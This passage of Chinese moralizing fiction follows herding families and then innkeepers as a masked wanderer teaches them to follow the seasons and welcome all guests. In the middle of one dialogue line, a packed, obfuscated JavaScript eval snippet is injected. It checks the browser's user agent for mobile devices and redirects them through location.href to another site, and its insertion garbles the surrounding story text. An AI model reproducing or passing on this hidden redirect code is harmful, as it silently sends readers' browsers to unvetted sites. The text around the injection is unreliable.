其木格呆立良久,看着那十两银子,又看看女儿手里的羊皮卷,忽然扔下牧羊杖,坐在草堆上,双手捂脸。 高娃轻轻走过去,递上一碗热奶酪:“额吉,吃奶酪。” 其木格抬起头,看着女儿含泪的眼,看着女婿低垂的头,看着那些枯瘦的羊,忽然抬手,轻轻拍了拍女婿的肩。 三、 □□家的“人和” □□这日在牛圈里忙活。牛圈里关着二十多头牛,头头骨瘦如柴。□□手持牛鞭,清点牛数,嘴里训斥着儿子“呼和”:“春犊要稀,夏草要省,秋奶要等,冬水要勤!你看看这些牛,哪一头有奶?” 呼和,十九岁,低头挤奶,奶桶里只有小半桶。 儿媳“乌云”端来炒米,脚步稍重。□□立时瞪眼:“毛手毛脚!牛都比你强!” 乌云眼圈一红,低头摆碗。 这时,牛圈外来了一人。还是草编斗笠,羊皮袄,腰间木剑。脸上蒙着毛毡,风尘仆仆。 “主人,买些牛奶。”声音平平。 □□抬眼,见是这两日在乌力罕、其木格家见过的那人,心里咯噔一下,面上堆笑:“客官要多少?” “一桶,要新鲜浓稠的。” “好嘞!”□□让呼和挤奶。 那人却摇头:“这牛,春犊未生,夏草未饱,秋膘未长,冬寒未御。挤不出好奶。” □□脸色一沉:“你懂牛?” “略知一二。”那人走进牛圈,抚着一头母牛,“牛如四时,春要生犊,夏要吃草,秋要长膘,冬要御寒。你这牛,春不让生,夏不让饱,秋不让长,冬不让御。四时皆乱,牛如何壮?” □□语塞。 “曰春夏,曰秋冬。此四时,运不穷。”那人缓缓念出,“主人可知何意?” “自然知道!”□□挺胸,“春生夏长,秋收冬藏!我牧牛三代,岂能不知!” “错了。”那人摇头,“春生,是让生,不是不让生。夏长,是让长,不是不让长。秋收,是让收,不是不让收。冬藏,是让藏,不是不让藏。你这般春日嫌密,夏日省草,秋日等奶,冬日强饮,是生么?是长么?是收么?是藏么?” □□脸上发烫。 “你看这草原,”那人指向河流,“春来水涨,夏来水丰,秋来水清,冬来冰封。水随四时,涨落有序。牛喝水,人牧牛,也当顺四时。春让牛犊生,夏让牛儿饱,秋让牛儿肥,冬让牛儿暖。这才是顺人和。” 他转向呼和:“小兄弟,你阿爸教你和顺,可教过你,和顺是让万物各得其所,不是让人逆时而为?” 呼和低头不语。 乌云在旁听了,眼泪滴在衣襟上。 “这位姑娘,”那人转向乌云,“你嫁到□□家,是求和乐。可你这般日日担惊受怕,可还和乐?” 乌云只是抹泪。 那人从怀里掏出一卷羊皮卷,递给呼和。羊皮上写着蒙文,呼和展开一看,是《牧牛四时歌》。 “这个给你。里边有牧牛顺四时的法子。比如:春犊何时生,夏草何处肥,秋膘何时长,冬厩何时暖。” 呼和接过,细细看,羊皮上画着四季牧牛的图:春日牛犊在母牛身边吃奶,夏日牛群在河边吃草,秋日牛儿在草原长膘,冬日牛群在暖圈安歇。旁边小字写着:“春生勿控,夏长勿省,秋收勿等,冬藏勿劳。” 他看得痴了。 “主人,”那人转向□□,“你说你懂人和,可你这人和,是逆人和。四时运行,不穷不息。你逆时而为,这牛群,迟早要绝。” 说罢,他从怀里掏出五两银子,放在奶桶边:“这钱,买一桶奶。但我不要现在的奶,要明年此时的奶。你按四时牧牛,春放,夏饱,秋肥,冬暖。来年此时,我来看牛。若牛壮了,奶好了,钱归你;若牛还是这般,钱我收回,奶我也不要了。” 他提起空桶,转身要走。走到圈口,回头:“主人,来年此时我再来。你若想明白了四时运行、不穷不息的道理,给我留一桶真正的‘四时奶’。” □□看着那人的背影消失在草原尽头,又看看儿子手里的羊皮卷,忽然把牛鞭一扔,蹲在地上,双手抱头。 乌云轻轻走过去,递上一碗炒米:“阿爸,吃饭。” □□抬起头,看着儿媳含泪的眼,看着儿子茫然的脸,看着那些瘦弱的牛,忽然伸手,接过饭碗,声音发哑:“你……你也吃。” 四、 那达慕的月 七月中,草原上最热闹的那达慕大会开始了。赛马、摔跤、射箭,人欢马叫。乌力罕、其木格、□□三家,也都来到了会场。 乌力罕牵着他那匹青马,马儿经过半年的调养,已然壮实许多。布和在一旁小心照料,萨仁捧着奶茶。 其木格带着她的羊群,羊儿毛色光亮,膘肥体壮。高娃在一旁看护,朝鲁背着羊毛。 □□赶着他的牛群,牛儿精神抖擞,奶水充足。呼和在一旁挤奶,乌云端着奶桶。 三人在会场相遇,都有些尴尬。 还是乌力罕先开口:“其木格,□□,来啦?” 其木格、□□点点头:“来啦,来啦。” 三人看着各自的家畜,又看看对方,都从对方眼中看到了变化。 “你的马……壮了。”其木格说。 “你的羊……肥了。”□□说。 “你的牛……精神了。”乌力罕说。 正说着,那人来了。还是草编斗笠,羊皮袄,腰间木剑。只是今日没蒙毛毡,脸上戴了个木雕面具,面具上刻着四季图:春草、夏花、秋叶、冬雪。手里提着一皮囊马奶酒,三个木碗。 “三位主人,赛马呢?”他笑。 三人忙转身:“先生!” 那人坐下,自斟一碗酒,举碗邀天:“好天。” 三人也斟了酒,同饮。酒是醇厚的马奶酒,烈,可喝下去,心里暖。 “先生,”乌力罕问,“那十二个字,到底什么意思?” “曰春夏,曰秋冬。此四时,运不穷。”那人缓缓念出,“春生,夏长,秋收,冬藏。这是天时,是地利,是人和。四时运行,不穷不息,这是天地大道。顺之者昌,逆之者亡。” 三人肃然。 “春不让生,则万物不发。夏不让长,则万物不茂。秋不让收,则万物不实。冬不让藏,则万物不固。”那人看着他们,“你们三家,一牧马,一牧羊,一牧牛,本都是顺天应时的好牧人。可你们呢?乌力罕春嫌早、夏圈养、秋不售、冬强牧,是顺天时么?其木格春控羔、夏省草、秋等毛、冬下山,是顺地利么?□□春嫌密、夏省草、秋等奶、冬强饮,是顺人和么?” 三人低头。 “马如四时,羊如四时,牛如四时。四时有序,不穷不息。你们逆时而为,马瘦,羊病,牛弱。如今顺时而为,马壮,羊肥,牛健。可见什么?”那人声音温和,却字字入心,“可见不是畜不壮,是人不顺。不是时不济,是人不知。” 三人汗颜。 “春生夏长,秋收冬藏。生不是滥生,是应生则生。长不是疯长,是应长则长。收不是全收,是应收则收。藏不是死藏,是应藏则藏。”那人指着草原,“你们看,春草生,夏草长,秋草黄,冬雪盖。草顺四时,所以草原不灭。你们牧马、牧羊、牧牛,也当如此。” 他指向乌力罕的青马:“这马,春生时你让它生,夏长时你让它跑,秋收时你让它肥,冬藏时你让它歇。它壮了,你乐了,是不是?” 乌力罕重重点头。 他指向其木格的羊群:“这羊,春生时你让它生,夏长时你让它吃,秋收时你让它肥,冬藏时你让它暖。它肥了,你笑了,是不是?” 其木格眼眶湿润。 他指向□□的牛群:“这牛,春生时你让它生,夏长时你让它饱,秋收时你让它壮,冬藏时你让它暖。它壮了,你安了,是不是?” □□连连点头。 那人从怀里掏出三块小小的、用牛骨刻的牌子,一人给了一个。牌子上刻着蒙文:春生、夏长、秋收、冬藏。 “这个,给你们。挂在毡房门上,记在心里。牧畜时看看,莫忘了四时运行,不穷不息。” 三人接过,那牌子是牛骨刻的,光滑温润,在阳光下泛着乳白的光。 “先生,”布和从人群里挤出来,大着胆子问,“您从哪里来?” “从来处来。” “要到哪里去?”高娃也挤出来。 “到去处去。” “您是做什么的?”呼和也出来了。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145690|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个看天、看地、看时的人。”那人笑了,“看人怎么顺天,怎么应地,怎么合时。” 他起身,提起皮囊:“酒喝完了,我该走了。” “先生还会来么?”三人齐声问。 “等你们的马群、羊群、牛群,真真正顺应四时、不穷不息的时候,我再来。”他说。 他走了,沿着草原,慢慢地走。阳光洒在草地上,把他的影子拉得很长。三家的人站在会场上,看着他的背影渐渐消失在草原尽头。 乌力罕忽然转身,对萨仁说:“媳妇,这半年……辛苦你了。” 萨仁的眼泪,一下子涌了出来。 其木格拍拍朝鲁的肩:“女婿,来,喝一碗。” 朝鲁的眼眶,也红了。 □□对乌云说:“儿媳,吃块肉,多吃点。” 乌云低下头,眼泪滴在肉上。 五、 三年后的牛骨牌 三年后的那达慕大会,更热闹了。乌力罕家的马群已增至五十多匹,匹匹膘肥体壮;其木格家的羊群已有二百多只,只只毛厚肉肥;□□家的牛群已有三十多头,头头奶水充足。 三家在会场边支起毡房,相邻而居。乌力罕的孙子“春生”五岁,在草地上追着小马驹跑;其木格的孙女“夏长”六岁,在羊群里喂小羊羔;□□的孙子“秋收”七岁,在牛群边学挤奶。 乌力罕、其木格、□□三个老人,坐在毡房前,喝酒看赛马。 “真快,三年了。”乌力罕说。 “是啊,三年了。”其木格说。 “那先生,再没来过。”□□说。 正说着,草原那头走来一人。还是草编斗笠,羊皮袄,腰间木剑。只是斗笠更破,皮袄更旧,木剑的剑柄磨得发亮。脸上依然戴着木面具,面具上的四季图,在阳光下清晰可见。 三人看见,忙起身:“先生!” 那人点头,声音依旧温和:“都兴旺了。” “托先生的福。”三人齐声道。 那人笑了,在毡毯上坐下,自斟一碗马奶酒,举碗邀天:“天还是那个天。” 众人也举碗。 春生机灵,捧上一碗新挤的马奶:“先生,喝奶,今年的新奶,香!” 夏长捧上一块新剪的羊毛:“先生,用毛,今年的新毛,软!” 秋收捧上一桶新挤的牛奶:“先生,喝奶,今年的新奶,醇!” 那人一一接过,喝马奶,摸羊毛,喝牛奶,点头:“好,好。” 乌力罕从怀里掏出那块牛骨牌,已经用牛皮绳系着,挂在脖子上:“先生,您看,我一直戴着。” 其木格、□□也掏出牛骨牌,三块牌子,在阳光下泛着温润的光。 “戴得好。”那人点头,“四时运行,在心不在形。” “先生,”其木格问,“您这三年,去了哪里?” “走了些地方,见了些牧人。”那人说,“有春不让生的,有夏不让长的,有秋不让收的,有冬不让藏的。看得多了,就想,若是他们都明白四时不穷的道理,会不会就不同了?” 众人沉默。 “曰春夏,曰秋冬。此四时,运不穷。”那人缓缓念,“春生,是天地生发之气,不可阻。夏长,是天地生长之气,不可逆。秋收,是天地收敛之气,不可违。冬藏,是天地闭藏之气,不可抗。顺之者昌,逆之者亡,这是天地至理。” 他看向三个孩子——春生在追马驹,夏长在喂羊羔,秋收在挤牛奶。追得欢快,喂得细心,挤得认真。 “他们比你们强。”那人笑了,“春生知生,夏长知长,秋收知收。这才对。” 众人点头,深以为然。 那人从怀里掏出三块小小的、用牛骨刻的牌子,刻着“顺天、应地、合时”,送给三个孩子。 “这个,给你们的孩子。等他们长大了,教他们春生、夏长、秋收、冬藏。等他们做到了,我再来收。” 三个孩子恭恭敬敬接过。 “先生,”秋收大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个喜欢看人顺天、应地、合时的人。” “那……您还会来看我们追马驹、喂羊羔、挤牛奶么?” “会。”那人站起身,“等你们的孩子的孩子,也这样在草原上追马驹、喂羊羔、挤牛奶的时候,我还会来。” 他走了,沿着草原,慢慢地走。阳光洒在无边的草地上,泛着金绿的光。他的背影在草原上,渐渐远了,融进天地间。 众人送到草坡上,看着他消失。乌力罕忽然说:“你们说,先生教了多少牧人?” 其木格说:“不知道。但我知道,他教的牧人,都懂了‘四时不穷’。” □□说:“我也懂了。牧畜不是强求,是顺应。顺应天时,畜自来。” 他们回到毡房,孩子们还在那里。春生在教夏长骑马,夏长在教秋收喂羊,秋收在教春生挤奶。阳光照在他们身上,明晃晃的。 尾声四时谣 很多年后,四季甸改名叫“四时甸”。甸口的敖包上,刻着十二个蒙文大字: 曰春夏,曰秋冬。此四时,运不穷。 常有外乡的牧人问:“这字谁刻的?” 甸里的老人会说:“是三家明白人刻的。他们啊,从前只会逆时,后来懂了顺时,畜群兴旺,家业丰足。” “怎么顺时?” “乌力罕家春放马,夏跑马,秋肥马,冬歇马。其木格家春生羔,夏放羊,秋剪毛,冬暖羊。□□家春生犊,夏饱牛,秋挤奶,冬暖牛。这就是顺时。” 那达慕大会时,甸上的孩子都会唱一首童谣: 四季甸,三家人, 逆天逆时畜不宁。 乌家逆时马儿瘦, 其家逆时羊儿病。 巴家逆时牛儿弱, 三家逆时家业凋。 白衣先生来点化, 曰春夏,曰秋冬。 此四时,运不穷, 三家顺时六畜兴。 有个游方的萨满路过,听了这童谣,去问乌力罕家的布和——如今已是甸上有名的牧马人。 “兄弟,这童谣里的白衣人,可是位天神?” 布和正在教孙子驯马,闻言停下手,望着无边的草原。 “是位教人顺天、应地、合时的先生。”他说。 “顺天应地……不是我们萨满的事么?” “错了。”布和说,“顺天应地合时,是每个牧人的本分。牧马的,要顺马性;牧羊的,要顺羊性;牧牛的,要顺牛性。马性、羊性、牛性,就是天性、地性、时性。这才是真明白。” 萨满似懂非懂。临走时,布和送了他一匹小马驹,说:“路上骑。记着,马如四时,春生夏长,秋收冬藏。顺之则壮,逆之则亡。” 萨满道了谢,骑上马驹走了。阳光洒在草原上,草浪如海。他回头,看见布和站在毡房前,看着孙子和其木格家、□□家的孩子在一起,一个骑马,一个喂羊,一个挤奶。阳光照在他们身上,像镀了一层金。 也许那位先生,正在某个地方,看人顺天、应地、合时吧。萨满想。 他拍了拍马驹,马驹欢快地跑起来。这顺时的感觉,原来就在一马一鞍之间。 本章诫世 一、 四时真义训 - 曰春夏,曰秋冬 - 此四时,运不穷 - 破解法:为牧者,自问“可顺春生?可顺夏长?可顺秋收?可顺冬藏?”;为民者,自问“可应天时?可合地利?可达人和?” 二、 三家三逆 - 乌家逆在“强求”——春不让生,夏不让长,秋不让收,冬不让藏 - 其家逆在“吝啬”——春控羔,夏省草,秋等毛,冬下山 - 巴家逆在“苛待”——春嫌密,夏省草,秋等奶,冬强饮 - 惕世:多少农人逆天时而耕?多少商人逆地利而贾?多少匠人逆人和而作?皆逆时也 三、 顺时大道 - 深层隐喻:四时运行,天地之常。春生夏长,秋收冬藏,不穷不息。顺之者昌,逆之者亡,非虚言也 - 终极指向:牧畜如牧人,耕田如耕心,经商如经时。顺天时者得天助,应地利者得地力,合人和者得人心。逆时而行,虽勤苦而功半;顺时而为,虽安逸而功倍 四时偈: 四季甸上三家人,逆天逆时畜不宁。 乌家逆时马儿瘦,其家逆时羊儿病。 巴家逆时牛儿弱,三家逆时家业凋。 白衣现身来点化,四时运行不穷息。 春生夏长秋收冬藏,三家顺时六畜兴。 后世叹: 曰春夏,曰秋冬,此四时,运不穷。 乌家逆时马不壮,其家逆时羊不肥。 巴家逆时牛不健,三家皆忘顺时道。 白衣点破四时理,三年顺时六畜旺。 正是: 漠南草原三家人,逆天逆时各执迷。 乌家强求逆马性,其家吝啬逆羊情。 巴家苛待逆牛理,三家皆忘顺时道。 白衣点化四时义,春生夏长秋收藏。 三年顺时家业旺,四时甸上美名扬。 95.四方谳 楔子·三家失方 东山府有座临河镇,镇中有条十字街。街分四向,住着三户人家:东街是“东来”车马店,西街是“西就”客栈,南街是“南来”茶馆,北街本有家“北往”货栈,三年前败了,至今空着。 东来车马店的掌柜姓“东”,名“四方”,四十有五,开车马店三代。他有句话常挂嘴边:“东来西往,南来北去,这是生意经。”可这“四方”,他只对客人说。东边的客人来,他嫌路远;西边的客人往,他嫌事多;南边的客人来,他嫌啰嗦;北边的客人往,他嫌挑剔。他说:“我这店叫‘东来’,就该只接东边的客!” 西就客栈的掌柜姓“西”,名“四方”,四十有三,开客栈三代。他也有句话常念叨:“东就西成,南辕北辙,这是待客道。”可这“四方”,他只对伙计说。东边的客人就,他嫌土气;西边的客人成,他嫌狡诈;南边的客人来,他嫌小气;北边的客人往,他嫌傲慢。他说:“我这店叫‘西就’,就该只接西边的客!” 南来茶馆的掌柜姓“南”,名“四方”,四十有八,开茶馆三代。他更有句口头禅:“南来北往,东成西就,这是经营法。”可这“四方”,他只对账房说。东边的客人成,他嫌挑剔;西边的客人就,他嫌粗鲁;南边的客人来,他嫌吵闹;北边的客人往,他嫌挑剔。他说:“我这茶馆叫‘南来’,就该只接南边的客!” 这三家,是十字街最“明方向”的生意人。可三年下来,方向越明越窄,门庭冷落。东来店门可罗雀,西就客栈客房空空,南来茶馆茶客寥寥。街坊邻居看在眼里,摇头叹气。 这是临河镇的又一个清晨,十字街上人来人往,可三家的门里,却无半分热闹。 一、 东来车马店的“东来” 这日清晨,东方四方正在店里算账。店里冷冷清清,只有两匹马在槽头吃草。东方四方拨着算盘,嘴里训斥着伙计“阿东”:“东边的客,要谦和;西边的客,要小心;南边的客,要客气;北边的客,要恭敬!你可倒好,昨日那个北边客,你怎么招待的?” 阿东,十八岁,低头扫院,嘟囔道:“那客人嫌马料不好,嫌房间不净,嫌茶水不热,我……” “住口!”东方四方一拍桌子,“北边的客,最难伺候!你懂什么!” 这时,门外进来一人。来人戴着一顶用细竹编的斗笠,斗笠边缘缀着几片枯荷。身上是件洗得发白的灰布长衫,腰间用麻绳系一柄木剑,剑身磨得光滑。脸上蒙着一方青布,布色已褪,沾着晨露。 “掌柜的,住店。”声音沉沉的。 东方四方抬眼一瞥,见是个外乡人,便道:“客官从哪里来?” “从来处来。” “往哪里去?” “往去处去。” 东方四方皱眉:“我问你是从东边来,还是西边来,南边来,北边来?” “从东边来,往西边去,路过南边,要去北边。”那人说。 东方四方一愣,上下打量这人:“你这人……到底要住店,还是不住?” “住店。”那人从怀里掏出几文钱,“一宿,一匹马,一壶酒,一碟豆。” 东方四方收了钱,让阿东去备马料、收拾房间,自己斟了碗粗茶递过去。 那人接了茶,却不喝,看着店里空空的马厩,忽然道:“掌柜的,你这店叫‘东来’,可东边的客,你嫌路远;西边的客,你嫌事多;南边的客,你嫌啰嗦;北边的客,你嫌挑剔。四方皆嫌,你这店,如何东来西往?” 东方四方脸色一沉:“你懂做生意?” “略知一二。”那人放下茶碗,“开店如立四方,东来西往,南来北去,四方皆客,来者不拒。你这般东嫌西嫌,南嫌北嫌,四方皆嫌,客从何来?” 东方四方语塞。 “曰南北,曰西东。此四方,应乎中。”那人缓缓念出这十二个字,“掌柜的可知何意?” “自然知道!”东方四方挺胸,“东南西北,四方来客!我开店三代,岂能不知!” “错了。”那人摇头,“四方者,东南西北。应乎中者,以中为心,四方来朝。你这店在十字街,正是四方交汇之地,本当四方来客皆迎。可你呢?东嫌远,西嫌多,南嫌啰嗦,北嫌挑剔。你这‘中’,在哪里?” 东方四方脸上涨红。 “你看这十字街,”那人走到门口,指向四方,“东街通东,西街通西,南街通南,北街通北。街以中分,四方皆通。店在街中,当迎四方。你这般挑三拣四,这店,迟早要关。” 阿东在旁听了,忍不住插嘴:“先生说得是!昨日那北边客,就是嫌咱们挑客!” “多嘴!”东方四方瞪眼,可心里却是一震。 “这位小哥,”那人转向阿东,“你家掌柜教你待客,可教过你,客不分东南西北,来者皆是客?” 阿东低头不敢语。 “这店,”那人环顾四周,“本该东客来时笑脸迎,西客往时热茶奉,南客来时殷勤待,北客往时细心送。可你呢?东嫌西嫌,南嫌北嫌。四方皆嫌,客如何来?” 东方四方额头冒汗。 那人从怀里掏出一本薄册子,递给东方四方。封面上写着《四方迎客诀》。 “这个给你。里边有开店迎四方客的法子。比如:东客来时如何迎,西客往时如何送,南客来时如何待,北客往时如何安。” 东方四方接过,翻开一看,第一页就画着一家店,门开四面,笑脸相迎。旁边小字写着:“东来不拒,西往不嫌,南来不慢,北往不怠。四方来客,皆以中应。” 他看得痴了。 “掌柜的,”那人道,“你这店名‘东来’,可真正的‘东来’,是以中为心,迎四方客。四方皆来,才是真东来。” 说罢,他起身:“房间不用收拾了,我去街上转转。明日此时,我再来看。若你还这般挑客,这店,不住也罢。” 他走了,竹编斗笠在晨光中晃动,灰布长衫的下摆扫过门槛。 东方四方呆立良久,看着手里的册子,又看看空空的马厩,忽然把算盘一推,蹲在地上,双手抱头。 阿东轻轻走过去,递上一碗热茶:“掌柜的,喝茶。” 东方四方抬起头,看着伙计稚嫩的脸,看着空空的店堂,忽然抬手,拍了拍阿东的肩:“明日……明日咱们不挑客了。” 二、 西就客栈的“西就” 西门四方这日正在客栈里擦桌子。店里空荡荡,只有两个伙计在打瞌睡。西门四方一边擦桌,一边训斥着账房“阿西”:“西边的客,要谨慎;东边的客,要小心;南边的客,要留心;北边的客,要当心!你可倒好,昨日那个南边客,你怎么记账的?” 阿西,二十岁,低头看账,嘟囔道:“那客人嫌房价贵,嫌饭菜差,嫌被褥潮,我……” “住口!”西门四方一拍桌子,“南边的客,最难伺候!你懂什么!” 这时,门外进来一人。还是竹编斗笠,灰布长衫,腰间木剑。脸上蒙着青布,只露出一双眼睛,明亮如星。 “掌柜的,住店。”声音温和。 西门四方抬眼,见是前日在东来车马店见过的那人,心里一动,面上堆笑:“客官从哪里来?” “从西边来,往东边去,路过北边,要去南边。” 西门四方一愣:“你这人……到底要住店,还是不住?” “住店。”那人从怀里掏出几文钱,“一宿,一间房,一壶茶,一碟糕。” 西门四方收了钱,让伙计去收拾房间,自己斟了碗茶递过去。 那人接了茶,却不喝,看着店里空空的客房,忽然道:“掌柜的,你这店叫‘西就’,可西边的客,你嫌狡诈;东边的客,你嫌土气;南边的客,你嫌小气;北边的客,你嫌傲慢。四方皆嫌,你这店,如何西就东成?” 西门四方脸色一变:“你懂做生意?” “略知一二。”那人放下茶碗,“开店如立四方,西就东成,南辕北辙,四方皆客,来者不拒。你这般西嫌东嫌,南嫌北嫌,四方皆嫌,客从何来?” 西门四方语塞。 “曰南北,曰西东。此四方,应乎中。”那人缓缓念出,“掌柜的可知何意?” “自然知道!”西门四方挺胸,“东南西北,四方来客!我开店三代,岂能不知!” “错了。”那人摇头,“四方者,东南西北。应乎中者,以中为心,四方来朝。你这店在十字街,正是四方交汇之地,本当四方来客皆迎。可你呢?西嫌狡诈,东嫌土气,南嫌小气,北嫌傲慢。你这‘中’,在哪里?” 西门四方脸上发红。 “你看这十字街,”那人走到门口,指向四方,“东街通东,西街通西,南街通南,北街通北。街以中分,四方皆通。店在街中,当迎四方。你这般挑三拣四,这店,迟早要关。” 阿西在旁听了,忍不住插嘴:“先生说得是!昨日那南边客,就是嫌咱们挑客!” “多嘴!”西门四方瞪眼,可心里却是一震。 “这位账房,”那人转向阿西,“你家掌柜教你记账,可教过你,客不分东西南北,来者皆是客?” 阿西低头不敢语。 “这客栈,”那人环顾四周,“本该西客来时热茶迎,东客往时笑脸送,南客来时殷勤待,北客往时细心安。可你呢?西嫌东嫌,南嫌北嫌。四方皆嫌,客如何来?” 西门四方额头冒汗。 那人从怀里掏出一本薄册子,递给西门四方。封面上写着《四方迎客诀》。 “这个给你。里边有开店迎四方客的法子。比如:西客来时如何迎,东客往时如何送,南客来时如何待,北客往时如何安。” 西门四方接过,翻开一看,第一页就画着一家店,门开四面,笑脸相迎。旁边小字写着:“西就不拒,东成不嫌,南来不慢,北往不怠。四方来客,皆以中应。” 他看得痴了。 “掌柜的,”那人道,“你这店名‘西就’,可真正的‘西就’,是以中为心,迎四方客。四方皆来,才是真西就。” 说罢,他起身:“房间不用收拾了,我去街上转转。明日此时,我再来看。若你还这般挑客,这店,不住也罢。” 他走了,灰布长衫在风中飘动,木剑的剑穗扫过门槛。 西门四方呆立良久,看着手里的册子,又看看空空的客房,忽然把抹布一扔,坐在凳上,双手捂脸。 阿西轻轻走过去,递上一碗热茶:“掌柜的,喝茶。” 西门四方抬起头,看着账房年轻的脸,看着空空的店堂,忽然抬手,拍了拍阿西的肩:“明日……明日咱们不挑客了。” 三、 南来茶馆的“南来” 南宫四方这日正在茶馆里煮茶。店里冷冷清清,只有两个老客在角落下棋。南宫四方一边煮茶,一边训斥着茶博士“阿南”:“南边的客,要客气;北边的客,要恭敬;东边的客,要谦和;西边的客,要小心!你可倒好,昨日那个西边客,你怎么上茶的?” 阿南,十九岁,低头擦桌,嘟囔道:“那客人嫌茶淡,嫌水温,嫌茶具脏,我……” “住口!”南宫四方一拍茶桌,“西边的客,最难伺候!你懂什么!” 这时,门外进来一人。还是竹编斗笠,灰布长衫,腰间木剑。脸上蒙着青布,风尘仆仆。 “掌柜的,喝茶。”声音平平。 南宫四方抬眼,见是这两日在东来店、西就栈见过的那人,心里咯噔一下,面上堆笑:“客官从哪里来?” “从南边来,往北边去,路过东边,要去西边。” 南宫四方一愣:“你这人……到底要喝茶,还是有事?” “喝茶。”那人从怀里掏出几文钱,“一壶茶,一碟瓜子。” 南宫四方收了钱,让阿南去泡茶,自己端了碟瓜子过去。 那人接了瓜子,却不嗑,看着店里寥寥的茶客,忽然道:“掌柜的,你这茶馆叫‘南来’,可南边的客,你嫌吵闹;北边的客,你嫌挑剔;东边的客,你嫌挑剔;西边的客,你嫌粗鲁。四方皆嫌,你这茶馆,如何南来北往?” 南宫四方脸色一沉:“你懂做生意?” “略知一二。”那人放下瓜子,“开店如立四方,南来北往,东成西就,四方皆客,来者不拒。你这般南嫌北嫌,东嫌西嫌,四方皆嫌,客从何来?” 南宫四方语塞。 “曰南北,曰西东。此四方,应乎中。”那人缓缓念出,“掌柜的可知何意?” “自然知道!”南宫四方挺胸,“东南西北,四方来客!我开茶馆三代,岂能不知!” “错了。”那人摇头,“四方者,东南西北。应乎中者,以中为心,四方来朝。你这茶馆在十字街,正是四方交汇之地,本当四方来客皆迎。可你呢?南嫌吵闹,北嫌挑剔,东嫌挑剔,西嫌粗鲁。你这‘中’,在哪里?” 南宫四方脸上发烫。 “你看这十字街,”那人走到门口,指向四方,“东街通东,西街通西,南街通南,北街通北。街以中分,四方皆通。店在街中,当迎四方。你这般挑三拣四,这茶馆,迟早要关。” 阿南在旁听了,忍不住插嘴:“先生说得是!昨日那西边客,就是嫌咱们挑客!” “多嘴!”南宫四方瞪眼,可心里却是一震。 “这位茶博士,”那人转向阿南,“你家掌柜教你煮茶,可教过你,客不分南北东西,来者皆是客?” 阿南低头不敢语。 “这茶馆,”那人环顾四周,“本该南客来时热茶迎,北客往时笑脸送,东客来时殷勤待,西客往时细心奉。可你呢?南嫌北嫌,东嫌西嫌。四方皆嫌,客如何来?” 南宫四方额头冒汗。 那人从怀里掏出一本薄册子,递给南宫四方。封面上写着《四方迎客诀》。 “这个给你。里边有开店迎四方客的法子。比如:南客来时如何迎,北客往时如何送,东客来时如何待,西客往时如何奉。” 南宫四方接过,翻开一看,第一页就画着一家茶馆,门开四面,笑脸相迎。旁边小字写着:“南来不拒,北往不嫌,东来不慢,西就不怠。四方来客,皆以中应。” 他看得痴了。 “掌柜的,”那人道,“你这茶馆名‘南来’,可真正的‘南来’,是以中为心,迎四方客。四方皆来,才是真南来。” 说罢,他起身:“茶不用泡了,我去街上转转。明日此时,我再来看。若你还这般挑客,这茶,不喝也罢。” 他走了,竹编斗笠在阳光下晃动,灰布长衫的下摆扫过门槛。 南宫四方呆立良久,看着手里的册子,又看看空空的茶座,忽然把茶壶一放,蹲在地上,双手抱头。 阿南轻轻走过去,递上一碗热茶:“掌柜的,喝茶。” 南宫四方抬起头,看着茶博士年轻的脸,看着空空的茶馆,忽然伸手,接过茶碗,声音发哑:“明日……明日咱们不挑客了。” 四、 十字街的晨 次日清晨,十字街热闹起来。东来车马店挂出了新招牌:“迎四方客,接八面风”。东方四方亲自站在门口,对东来的客笑脸相迎,对西往的客热茶相送,对南来的客殷勤相待,对北往的客细心招呼。 西就客栈也换了幌子:“东西南北,皆是我客”。西门四方让伙计在门口摆上免费茶水,对西来的客热情招呼,对东往的客细心指引,对南来的客殷勤招待,对北往的客笑脸相送。 南来茶馆更是热闹,门口贴了红纸:“四方来客,一视同仁”。南宫四方让茶博士在门口迎客,对南来的客热情招呼,对北往的客细心奉茶,对东来的客殷勤招待,对西往的客笑脸相送。 街坊邻居见了,都觉稀奇。有那好事的,故意从东边走到西边,从南边走到北边,三家都进。东方四方不嫌路远,西门四方不嫌事多,南宫四方不嫌啰嗦,都笑脸相迎,热茶相送。 那人又来了。还是竹编斗笠,灰布长衫,腰间木剑。脸上蒙着青布,站在十字街中央,看着三家忙碌。 东方四方先看见,忙迎出来:“先生!快请进店歇歇!” 西门四方也看见,忙出来:“先生!来客栈喝杯茶!” 南宫四方也出来:“先生!来茶馆坐坐!” 那人笑了,走到十字街中央,从怀里掏出一面小旗,插在地上。旗是四方旗,四面绣着字:东、南、西、北。旗杆是中空的,可转动。 “三位掌柜,今日如何?”他问。 “托先生的福!”东方四方说,“今日客多了!” “是啊!”西门四方说,“东西南北的客都有!” “热闹多了!”南宫四方说,“四方来客,一视同仁!” 那人点头,指着小旗:“你们看这旗,四面是四方,中间是旗杆。旗杆不动,旗面可转。东风吹,旗指西;西风吹,旗指东;南风吹,旗指北;北风吹,旗指南。可旗杆,始终在中间,不动。” 三人肃然。 “开店如立旗。”那人缓缓道,“店是旗杆,客是风。东客来,笑脸迎;西客来,热茶奉;南客来,殷勤待;北客来,细心送。客从四方来,店在中间应。这才是‘应乎中’。” 三人点头如捣蒜。 “你们之前,”那人看着他们,“东嫌西嫌,南嫌北嫌。嫌来嫌去,客不敢来。如今东迎西送,南待北奉,客自然来。可见什么?” 三人摇头。 “可见不是客不来,是店不迎。不是路不通,是心不开。”那人声音温和,却字字清晰,“十字街,四方通。东来西往,南来北去,本是热闹地。你们三家,占了三方,本当客如流水。可你们呢?东嫌、西嫌、南嫌、北嫌,把客都嫌走了。如今不嫌了,客就来了。简单不简单?” 三人汗颜。 “曰南北,曰西东。此四方,应乎中。”那人念出那十二个字,“中是什么?中是店心,是人心。店心开,人心开,四方客来。店心闭,人心闭,四方客去。就这么简单。” 